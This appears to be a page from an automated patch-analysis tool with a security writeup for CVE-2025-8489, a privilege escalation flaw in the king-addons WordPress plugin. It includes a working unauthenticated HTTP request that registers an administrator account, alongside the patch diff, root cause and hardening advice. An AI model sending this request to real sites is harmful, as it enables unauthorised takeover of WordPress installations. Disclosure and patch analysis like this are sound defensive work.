ANALYSIS · 9af59e69· FINISHED 2026-06-13 · PATCHDIFF

king-addons51.1.14 → 51.1.35✓ COMPLETED

Files41

Vulnerable26

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-8489

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 41 CVE 1 Vuln 26

SORT

1 files · page 1/1

includes/widgets/Login_Register_Form/Login_Register_Form_Ajax.php

AI: 1 vulnerabilities

CWE-269: Improper Privilege Management CVE-2025-8489

#%!d(float64=030)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-8489

Security writeup for CVE-2025-8489

✓ 1 FILE

## The Exploit

An unauthenticated attacker can register a new WordPress user account with administrator-level privileges by supplying an arbitrary role parameter during signup.

```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

action=king_register_user&user_email=attacker%40evil.com&user_pass=Password123&user_pass_confirm=Password123&user_role=administrator
```

The response confirms user creation with the requested role assigned. An attacker observing the response body or inspecting the WordPress user database via a subsequent login will see their account now carries the `administrator` role, granting full site control including plugin installation, user management, and configuration modification. No email verification, role validation, or capability check blocks this assignment.

## What the Patch Did

**Before**

```php
$user_role = isset($_POST['user_role']) ? sanitize_text_field($_POST['user_role']) : 'subscriber';
```

**After**

```php
// Security fix: Only allow specific roles to prevent privilege escalation
$allowed_roles = ['subscriber', 'customer']; // Add more safe roles as needed
$requested_role = isset($_POST['user_role']) ? sanitize_text_field($_POST['user_role']) : 'subscriber';
$user_role = in_array($requested_role, $allowed_roles, true) ? $requested_role : 'subscriber';
```

The patch introduces an allowlist-based role validation control using `in_array()` with strict type checking. The vulnerable code passed `sanitize_text_field()` output directly to user role assignment without verifying that the supplied role actually existed in WordPress or was permitted for registration contexts. The fix defines an explicit whitelist of safe roles (`['subscriber', 'customer']`), checks the user-supplied role against this list with strict equality (`true` parameter to `in_array()`), and falls back to `'subscriber'` if the role is absent from the whitelist. This is a canonical implementation of the **allowlist validation pattern** — only explicitly safe values are accepted; everything else defaults to a secure baseline.

## Root Cause

**CWE-269: Improper Handling of Privileges** (also manifests as CWE-639: Authorization Bypass Through User-Controlled Key).

The vulnerability flows from the `$_POST['user_role']` parameter directly into the role assignment logic after only a sanitization step. `sanitize_text_field()` removes HTML entities and line breaks, but it does **not** validate semantic correctness — it does not know that `'administrator'` is a reserved WordPress role or that unprivileged registration contexts should reject elevated roles. The attacker-controlled string crosses the trust boundary from the HTTP request into WordPress user metadata without a capability check, allowlist, or role existence verification. The sink is the user role assignment inside the registration handler; the entry point is the unauthenticated POST parameter; the missing control is any validation that the role is permitted for the caller's context.

## Why It Works

The load-bearing line is:

```php
$user_role = in_array($requested_role, $allowed_roles, true) ? $requested_role : 'subscriber';
```

If you removed this line and reverted to the vulnerable code, the exploit would still work because `sanitize_text_field()` has no security opinion about role names — it will happily pass `'administrator'` through unchanged. The engineer added the three preceding lines to establish the allowlist and assign the sanitized value to a temporary variable (`$requested_role`) for clarity, but the **conditional assignment via `in_array()`** is the actual defence. The strict equality parameter (`true`) prevents type juggling attacks; a string `'0'` will not match an integer `0` in the allowlist. The ternary fallback to `'subscriber'` ensures that even a typo or genuinely invalid role does not cause the registration to fail — it degrades gracefully to the least-privileged default, a design pattern that closes bypass paths where an attacker might try to induce an error condition.

## Hardening Checklist

- **Use `wp_roles()->get_names()` to validate against the actual WordPress role registry** instead of hardcoding a static list. This automatically inherits custom roles defined by other plugins and avoids maintenance burden when roles are added or removed.

- **Check `current_user_can('edit_users')` or a custom capability** before allowing any user to supply their own role during registration. If role assignment must happen unauthenticated, do not expose it as a POST parameter — assign it server-side based on the registration context (e.g., 'customer' for e-commerce, 'subscriber' for newsletters).

- **Apply `wp_insert_user()` with explicit role argument instead of relying on meta updates.** The built-in WordPress user creation functions apply role validation internally; bypassing them is a common source of privilege escalation.

- **Audit all AJAX handlers that touch user capabilities.** Use `wp_verify_nonce()` on the AJAX action and check `is_user_logged_in()` or `current_user_can()` before role-altering logic executes, even if the handler is marked `nopriv`.

- **Log all user account creations with the assigned role to an audit table.** Detecting a sudden spike in admin registrations can trigger manual review and help catch compromise earlier.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-8489

CVE CVE-2025-8489

PRODUCT king-addons

AFFECTED ≤ 51.1.14

FIXED IN 51.1.35

STATUS Generated

Security writeup · CVE-2025-8489

Source files · 1

includes/widgets/Login_Register_Form/Login_Register_Form_Ajax.php Linked

↗ NVD